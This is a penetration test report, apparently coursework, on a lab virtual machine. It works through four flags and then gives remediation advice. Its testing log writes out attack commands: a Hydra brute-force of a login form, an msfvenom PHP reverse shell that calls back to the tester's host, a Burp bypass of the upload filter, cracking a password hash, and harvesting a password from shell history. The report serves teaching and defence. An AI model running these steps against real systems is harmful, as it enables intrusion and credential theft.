Penetration Testing Scenario (Case Study)

Name: Michal Barna

Table of Contents

Executive Summary 3
Introduction 3
Methodology 4
Testing Log 5
Flag 1: Web Login Bruteforce 5
Flag 2: File Upload Exploitation 6
Flag 3: Hash Cracking & Lateral Movement 7
Flag 4: Shell History Credential Harvesting 8
Results and Recommendations – Flag 1 8
A. Main Vulnerabilities (Directly Encountered in Testing) 8
B. Other Issues (Observed or Inferred) 9
Results and Recommendations – Flag 2 11
A. Main Vulnerabilities (Directly Encountered in Testing) 11
B. Other Issues (Observed or Inferred) 12
Results and Recommendations – Flag 3 13
A. Main Vulnerabilities (Directly Encountered in Testing) 13
B. Other Issues (Observed or Inferred) 13
Results and Recommendations – Flag 4 14
A. Main Vulnerabilities (Directly Encountered in Testing) 14
B. Other Issues (Observed or Inferred) 15
Conclusion 16
References 17

Executive Summary

This penetration test evaluated the security posture of a virtual machine by simulating attacks from an external threat actor with no prior knowledge of the system. The assessment aimed to identify critical vulnerabilities, exploit potential weaknesses, and provide actionable recommendations to strengthen overall security.

The testing process revealed several significant security issues, including the use of weak and default credentials, the absence of key protective measures such as account lockout, insufficient file upload restrictions, insecure storage of passwords, and improper management of sensitive files. Through a combination of network reconnaissance, brute-force attacks, privilege escalation, and exploitation of insecure configurations, the test demonstrated multiple paths to system compromise.

Each vulnerability identified in the assessment was matched with practical, industry-standard recommendations to mitigate risks and enhance the security controls of the target environment. Implementing these recommendations will significantly reduce the likelihood of unauthorized access and improve the system's resilience against future attacks.

This report provides a comprehensive overview of the findings and prioritizes remediation steps to support effective risk management and continuous improvement in system security.

Introduction

This report documents a penetration test conducted against a supplied virtual machine to assess its security posture from an external attacker's perspective. The objective was to identify and exploit vulnerabilities, escalate privileges, and obtain a series of hidden flags, simulating a real-world compromise.

The assessment was performed as a black box test, meaning no prior knowledge of the system's internal configuration or credentials was provided. The process followed the standard phases of penetration testing, including reconnaissance, vulnerability identification, exploitation, and post-exploitation, to provide a comprehensive evaluation of the system's defences.

Methodology

The penetration testing process follows a structured methodology designed to assess the security posture of the target system while minimizing risk and ensuring ethical conduct. This approach generally consists of several key phases: planning and scoping, reconnaissance, vulnerability identification, exploitation, post-exploitation, and reporting.

1. Planning and Scoping:

Before any technical testing begins, the scope and objectives of the engagement are clearly defined in collaboration with relevant stakeholders. This includes identifying in-scope systems, establishing rules of engagement, and obtaining proper authorization to ensure all activities are conducted legally and ethically (OWASP, 2023).

2. Reconnaissance:

The next phase involves gathering information about the target environment using passive and active techniques. This may include network scanning, service enumeration, and information gathering from public sources, all aimed at building an understanding of potential attack surfaces (SANS Institute, 2022).

3. Vulnerability Identification:

During this phase, the tester uses automated tools and manual analysis to identify vulnerabilities within the system. This includes assessing misconfigurations, outdated software, and weaknesses in authentication, access controls, and web applications (OWASP, 2023).

4. Exploitation:

Once vulnerabilities have been identified, controlled exploitation is performed to determine the impact and feasibility of attacks. The goal is to validate findings, demonstrate potential risks, and assess the ability to gain unauthorized access or escalate privileges, while avoiding unnecessary disruption (NIST, 2020).

5. Post-Exploitation and Escalation:

After gaining access, the tester evaluates the extent to which privileges can be escalated or sensitive information can be accessed. This phase helps assess the potential damage of a successful compromise and tests the effectiveness of internal controls and segmentation (SANS Institute, 2022).

6. Reporting:

The final phase involves documenting all findings, including identified vulnerabilities, successful exploits, and recommendations for remediation. The report is structured to provide clear, actionable guidance to technical and non-technical stakeholders, supporting effective risk management and ongoing security improvements (OWASP, 2023).

Testing Log

The following section provides a detailed, step-by-step log of all penetration testing activities conducted during the assessment. Each table documents the actions taken to identify, exploit, and escalate vulnerabilities within the target environment. The log is organized by attack phase, with each phase corresponding to the discovery of a specific flag.

Flag 1: Web Login Bruteforce

The following steps detail the process used to enumerate network services and perform a successful brute-force attack against the web login to retrieve Flag 1.

Step	Action & Tool	Command(s) / Details	Result / Output / Finding
1	**Network Reconnaissance** Identify target system on local network.	**kali:** sudo netdiscover -r 192.168.0.0/24	Discovered target IP: *192.168.0.100*
2	**Service Enumeration** Scan open ports/services on target.	**kali:** nmap -sC -sV -oN scan.txt 192.168.0.100	Open ports found: *- 22/tcp (SSH, OpenSSH 7.6p1)* *- 80/tcp (Apache httpd 2.4.29)*
3	**Web Application Discovery** Access target via browser.	Access http://192.168.0.100	Found login page at /login.php. Username/password fields present.
4	**Web Form Analysis** Check login form POST structure using browser dev tools.	Attempt login with test credentials, inspect POST request.	Confirmed POST form.
5	**Brute-force Attack** Test for weak credentials using Hydra and common wordlists.	**kali:** hydra -L usernames.txt -P passwords.txt 192.168.0.100 http-post-form "/login.php:username =^USER^&password=^PASS^&login=:Wrong username or password" ***Note:*** *Wordlists sourced from "Top Usernames and Passwords Used by Hackers to Attack Your Servers" (Ramachandran, 2023).*	Discovered valid credentials: *username: administrator* *password: administrator*
6	**Login & Flag Retrieval** Authenticate using discovered credentials.	Log in via browser as administrator.	Flag 1 retrieved from site.

Flag 2: File Upload Exploitation

This section outlines the exploitation of insecure file upload functionality to achieve remote code execution and obtain Flag 2.

Step	Action & Tool	Command(s) / Details	Result / Output / Finding
1	**Identify Upload Functionality**	Logged in as administrator; observed "upload picture" feature.	Upload form present; only image files accepted.
2	**Test File Restrictions**	Attempted upload of various image and non-image files.	Only legitimate images allowed.
3	**Create Malicious Payload** Generate PHP reverse shell with msfvenom.	**kali:** msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw > shell.phtml	Created shell.phtml payload.
4	**Prepare Listener**	**kali:** msfconsole **msf6:** use exploit/multi/handler Set payload, LHOST, LPORT. **msf6:** exploit	Handler listening for connection.
5	**Bypass File Filter Using Burp Suite**	Start Burp proxy, upload valid image, intercept request. Replace filename with *shell.phtml*, maintain Content-Type: **image/jpeg**.	Payload file accepted and uploaded.
6	**Trigger Reverse Shell**	Click “File uploaded here” link to execute uploaded shell.	Meterpreter session opened: User: www-data
7	**Post-Exploitation: Search for Flags**	**kali:** grep -Ri "flag" /var/www/html 2>/dev/null	Located: Flag 1 (already retrieved) Flag 2.

Flag 3: Hash Cracking & Lateral Movement

The following steps document the process of discovering and cracking a password hash to escalate privileges and retrieve Flag 3 from a restricted user account.

Step	Action & Tool	Command(s) / Details	Result / Output / Finding
1	**Enumerate for Credential Files**	**kali:** ls -la /var/www/html/private Located *.htpasswd* file.	*.htpasswd* found containing hashed password for *developer*.
2	**Extract Hash for Cracking**	**kali:** cat .htpasswd Copy line to *password.txt*	Hash: *developer:$apr1$Wv63/...*
3	**Crack Password with John the Ripper**	**kali:** john --wordlist=/usr/share/wordlists/rockyou.txt password.txt	Password cracked: developer:labs123k
4	**Login as Developer via SSH**	**kali:** ssh developer@192.168.0.100 Password: labs123k	Shell access gained as developer.
5	**Search for Flags**	**kali:** ls -la /home/developer **kali:** cat mynote.txt	Flag 3 found inside mynote.txt.

Flag 4: Shell History Credential Harvesting

The actions below outline how a misconfiguration in user command history led to the discovery of credentials, enabling further privilege escalation and access to Flag 4.

Step	Action & Tool	Command(s) / Details	Result / Output / Finding
1	**Review Bash History for Credentials**	**kali:** cat /home/developer/.bash_history 2>/dev/null	Discovered password (og2ksi2hsbek2k3) entered in plaintext after *su manager*.
2	**Switch User to Manager**	**kali:** su manager Password: og2ksi2hsbek2k3	Shell access as *manager*.
3	**Locate Flag**	**kali:** cd /home/manager **kali:** ls -la **kali:** cat readme.txt	Flag 4 found inside readme.txt.

Results and Recommendations – Flag 1

A. Main Vulnerabilities (Directly Encountered in Testing)

1. Weak and Default Credentials

Result:
The web login accepted "administrator:administrator" as valid credentials, allowing full access. This indicates that weak, default, or commonly used passwords are in use.

Recommendation:
A strong password policy should be implemented to prevent the use of weak, default, or commonly used passwords (NIST, 2020). All user accounts must be regularly audited to identify and remediate insecure credentials as soon as they are detected (OWASP, 2023). Additionally, users should receive ongoing education on secure password creation and management to further reduce risk (NIST, 2020).

2. Absence of Account Lockout/Rate Limiting

Result:
Automated brute-force attacks using Hydra were successful because the web application did not lock accounts or throttle login attempts after repeated failures.

Recommendation:
To prevent brute-force attacks, configure account lockout or implement rate limiting to restrict repeated failed login attempts (OWASP, 2023). Exponential back-off or temporary account suspension should be applied after a set number of unsuccessful logins to slow automated attacks (OWASP, 2023). Additionally, generate security alerts to notify administrators when suspicious authentication activity is detected (NCSC, 2022).

3. Lack of CAPTCHA or Bot Protection

Result:
No CAPTCHA or other anti-automation measures were present on the login form, allowing automated tools to attempt thousands of login requests without hindrance.

Recommendation:
Integrate CAPTCHA or other anti-bot mechanisms to distinguish human users from automated scripts and reduce the risk of automated brute-force or credential stuffing attacks (OWASP, 2021). Implementing CAPTCHA solutions significantly increases the difficulty for attackers using automated tools (OWASP, 2021).

4. Informative Error Messages

Result:
The application provides a generic error ("Wrong username or password") upon failed login. While this is generally good, it's important to ensure that error messages do not leak information that could help an attacker.

Recommendation:
Maintain generic authentication error messages to prevent user enumeration by attackers (CWE-203, 2024). Ensure that error responses do not reveal whether a username exists or provide other sensitive details (OWASP, 2023). Additionally, monitor for timing discrepancies in login responses, as these could be exploited to gain information about valid accounts (CWE-203, 2024).

B. Other Issues (Observed or Inferred)

5. No Account Lockout or Notification to User/Admin

Result:
There was no indication that either users or administrators were notified of failed login attempts or possible brute-force activity.

Recommendation:
Configure the system to notify users and administrators after multiple failed login attempts or detection of suspicious authentication activity (NCSC, 2022). Security

alerts and notifications provide early warning, helping organizations respond promptly to potential attacks (OWASP, 2023).

6. Unencrypted Web Traffic

Result:
The login page was accessed over HTTP, as indicated by the browser's "Not secure" warning. Credentials submitted via HTTP are vulnerable to interception on the network.

Recommendation:
Implement HTTPS using TLS across the entire website to ensure that all transmitted data, especially login credentials, is securely encrypted in transit (Mozilla, 2023). Avoid allowing any sensitive information to be submitted over unencrypted HTTP to protect against interception and man-in-the-middle attacks (OWASP, 2023).

7. Lack of Multi-Factor Authentication (MFA)

Result:
The web application did not offer or require MFA, increasing the risk that compromised credentials alone would grant access.

Recommendation:
Implement multi-factor authentication for all user accounts, with priority given to administrative and high-privilege users (Microsoft, 2020). MFA provides a significant security improvement by requiring an additional factor beyond just a password, greatly reducing the likelihood of unauthorized account access even if credentials are compromised (OWASP, 2023).

8. Web Server Version Disclosure

Result:
Nmap scanning revealed the Apache server version in use. Disclosing server software versions can help attackers identify and exploit known vulnerabilities.

Recommendation:
Suppress web server banners and version numbers in HTTP responses to limit the information available to potential attackers (OWASP, 2023). Regularly update and patch all server software to address known vulnerabilities and apply the principle of minimal disclosure to reduce the attack surface (OWASP, 2023).

Results and Recommendations – Flag 2

A. Main Vulnerabilities (Directly Encountered in Testing)

1. Insufficient File Upload Restrictions

Result:
The application's image upload feature accepted files based on extension and content type, but could be bypassed by modifying the filename and Content-Type in the request, allowing a malicious .phtml file to be uploaded and executed.

Recommendation:
Implement strict server-side validation to verify file types, including checks of file signatures ("magic numbers") and rejection of files with multiple or misleading extensions (OWASP, 2023). Avoid relying solely on file extensions or client-side controls, as these can be easily circumvented by attackers (SANS Institute, 2021).

2. Remote Code Execution via Web Shell

Result:
It was possible to upload a PHP-based reverse shell disguised as an image. Triggering the upload executed arbitrary code, establishing a Meterpreter session with the attacker.

Recommendation:
Disable execution permissions for directories where user-uploaded files are stored to prevent the execution of malicious code (OWASP, 2023). Store uploaded files outside the web root whenever possible and configure the server to block direct access to these files (OWASP, 2023). Apply the principle of least privilege to the web server process and restrict unnecessary interpreters or script execution (OWASP, 2023).

3. Absence of Antivirus/Content Scanning

Result:
There was no evidence of server-side malware or antivirus scanning of uploaded files, allowing malicious scripts to be delivered unchecked.

Recommendation:
Implement automated antivirus and malware scanning for all uploaded files using reputable security solutions before saving them to the server (US-CERT, 2018). Regular content scanning helps detect and block malicious payloads, reducing the risk of web shell or malware deployment (OWASP, 2023).

4. Lack of Access Controls on Sensitive Directories

Result:
Once the shell was uploaded, sensitive files and directories were easily accessible with web server privileges, leading to the exposure of secret application files and flags.

Recommendation:
Apply strict access controls and permissions to sensitive files and directories, ensuring that the web server user only has access where absolutely necessary (OWASP, 2023). Separate public and private resources using proper server configuration and access control rules to prevent unauthorized disclosure (OWASP, 2023).

B. Other Issues (Observed or Inferred)

5. No Upload Size Limit or Rate Limiting

Result:
There were no apparent restrictions on file size or upload frequency, potentially allowing denial-of-service attacks via oversized or repeated uploads.

Recommendation:
Set reasonable limits on the size and frequency of file uploads to prevent resource exhaustion and abuse (OWASP, 2023). Monitor upload activity for abnormal patterns and enforce quotas to reduce the risk of denial-of-service attacks (OWASP, 2023).

6. No Logging or Monitoring of Upload Activity

Result:
The server did not visibly log or alert on suspicious file upload activity, missing an opportunity for early detection of attacks.

Recommendation:
Enable comprehensive logging of all file upload actions and monitor for suspicious activity, such as attempts to upload executable files or high upload volumes (OWASP, 2023). Integrate upload logs with centralized monitoring or SIEM systems to facilitate prompt detection and response to potential security incidents (OWASP, 2023).

Results and Recommendations – Flag 3

A. Main Vulnerabilities (Directly Encountered in Testing)

1. Insecure Storage of Password Hashes

Result:
A .htpasswd file was found in a web-accessible directory, containing password hashes for application users. The hash for the developer account was cracked using a common wordlist (rockyou.txt), revealing a weak password (labs123k).

Recommendation:
Store password hashes and credential files outside of web-accessible directories and apply strict file system permissions to restrict access to authorized users only (OWASP, 2023). Use modern, computationally intensive password hashing algorithms such as bcrypt or Argon2 to reduce the risk of offline password cracking (NIST, 2020).

2. Use of Weak Passwords

Result:
The password for the developer account was weak and easily cracked with a publicly available wordlist. This enabled lateral movement via SSH, further compromising the system.

Recommendation:
Enforce strong, unique passwords for all user accounts, especially those with remote access (NIST, 2020). Regularly audit passwords for complexity and check them against known breach corpuses to prevent the use of compromised or easily guessed passwords (Bonneau & Preibusch, 2010).

B. Other Issues (Observed or Inferred)

3. Inadequate File Permissions

Result:
The .htpasswd file was readable by the compromised web server user. Sensitive files in the web directory should not be accessible to unauthorized users.

Recommendation:
Apply strict file permissions to ensure only authorized users can access sensitive files and directories (OWASP, 2023). Regularly audit web root and user directories to confirm that only necessary files are exposed, following the principle of least privilege (Microsoft, 2023).

4. No Monitoring or Alerts for Credential Access

Result:
There was no indication of logging or alerting when credential files were accessed or used for lateral movement.

Recommendation:
Enable logging and alerting for all access attempts to sensitive credential files to ensure unauthorized activities are detected promptly (SANS Institute, 2022). Integrate these logs with centralized monitoring or SIEM solutions to support early detection and response to credential abuse (OWASP, 2023).

5. Outdated or Insufficient Hashing Algorithm

Result:
The password hash was stored using Apache's default (MD5-based) hashing, which is no longer recommended for secure storage.

Recommendation:
Adopt modern password hashing algorithms such as bcrypt, scrypt, or Argon2, which provide greater resistance to offline attacks than outdated algorithms like MD5 (NIST, 2020). Regularly review and update cryptographic controls to ensure alignment with current security standards (OWASP, 2023).

Results and Recommendations – Flag 4

A. Main Vulnerabilities (Directly Encountered in Testing)

1. Credential Leakage in Shell History

Result:
The .bash_history file for the developer account contained a plaintext password entered after a failed attempt to switch users (su manager). This allowed an attacker with basic access to read the file and use the exposed password to escalate privileges.

Recommendation:
Educate users and administrators on secure shell practices, emphasizing that sensitive data such as passwords should never be typed directly into the command line (SANS Institute, 2022). Configure shell environments to prevent the logging of sensitive information in history files and restrict access permissions on user home directories and history files (NCSC, 2022).

2. Overly Permissive Access to User History Files

Result:
The .bash_history file was readable by a user with lower privileges, enabling easy discovery of sensitive information.

Recommendation:
Set strict file permissions on all user home directories and hidden files to ensure that only the file owner can read their shell history (CIS, 2023). Regularly audit file permissions for sensitive files and directories to minimize unauthorized access (OWASP, 2023).

3. Lack of Session Timeout or Automatic History Clearing

Result:
Shell history files were not cleared or sanitized between user sessions, allowing old credentials and commands to remain accessible long after initial entry.

Recommendation:
Implement regular or automated clearing of shell history for privileged accounts to reduce the risk of credential leakage (OWASP, 2023). Encourage users to manually clear their history after sensitive data is entered by mistake, and use environment variables (e.g., HISTCONTROL, HISTSIZE) to minimize the retention of command history (SANS Institute, 2022).

B. Other Issues (Observed or Inferred)

4. Absence of Privilege Separation and Least Privilege Principles

Result:
Privilege escalation was possible due to easy discovery and misuse of another user's password. There was no additional layer of protection between accounts.

Recommendation:
Apply the principle of least privilege by ensuring that users have only the minimum access necessary for their roles (NIST, 2020). Limit the use of su or sudo to authorized administrators, and require additional verification, such as multi-factor authentication, when performing privilege escalation (OWASP, 2023).

5. Lack of Logging and Alerting on Privilege Escalation

Result:
No indication that attempted or successful privilege escalation (such as use of su manager) was logged or monitored.

Recommendation:
Enable auditing and real-time logging of all privilege escalation attempts, including failed and successful uses of *su* or *sudo* (Microsoft, 2023). Integrate these logs with centralized monitoring or SIEM systems to provide prompt detection and response to unauthorized privilege escalation (SANS Institute, 2022).

Conclusion

This penetration testing assessment revealed several critical vulnerabilities that could be exploited to gain unauthorized access and escalate privileges within the system. Addressing these issues and implementing the recommended security measures will significantly improve the system's resilience against future attacks. Regular security testing and adherence to best practices are essential for maintaining a strong security posture over time.

References

Bonneau, J., & Preibusch, S. (2010). *The password thicket: Technical and market failures in human authentication on the web*. WEIS 2010. http://www.econinfosec.org/archive/weis2010/papers/session3/weis2010_bonneau.pdf

Center for Internet Security. (2023). *CIS Controls v8*. https://www.cisecurity.org/controls

Common Weakness Enumeration. (2024). CWE-203: Observable discrepancy. https://cwe.mitre.org/data/definitions/203.html

Microsoft Security. (2020). *The effectiveness of multi-factor authentication*. https://www.microsoft.com/en-us/security/blog/2020/07/28/the-importance-of-multi-factor-authentication/

Microsoft. (2023). *Secure file permissions for web servers*. https://learn.microsoft.com/en-us/iis/manage/configuring-security/file-and-directory-permissions

Mozilla Observatory. (2023*). HTTP Observatory documentation*. https://observatory.mozilla.org

National Cyber Security Centre. (2022). *Password guidance: Simplifying your approach*. https://www.ncsc.gov.uk/collection/passwords/updating-your-approach

National Institute of Standards and Technology. (2020). *Digital identity guidelines* (SP 800-63B). https://doi.org/10.6028/NIST.SP.800-63b

OWASP Foundation. (2021). *OWASP automated threat handbook*. https://owasp.org/www-project-automated-threats/

OWASP Foundation. (2023). *Authentication cheat sheet*. https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

OWASP Foundation. (2023). *File upload cheat sheet*. https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

OWASP Foundation. (2023). *Password storage cheat sheet*. https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html

OWASP Foundation. (2023). *Penetration testing methodology*. https://owasp.org/www-community/Testing

OWASP Foundation. (2023). *Security misconfiguration*. https://owasp.org/Top10/A05_2021-Security_Misconfiguration/

OWASP Foundation. (2023). *Transport layer protection cheat sheet*. https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html

SANS Institute. (2022). *Critical Security Controls*. https://www.sans.org/critical-security-controls/

United States Computer Emergency Readiness Team. (2018). *Website security*. https://www.cisa.gov/news-events/news/website-security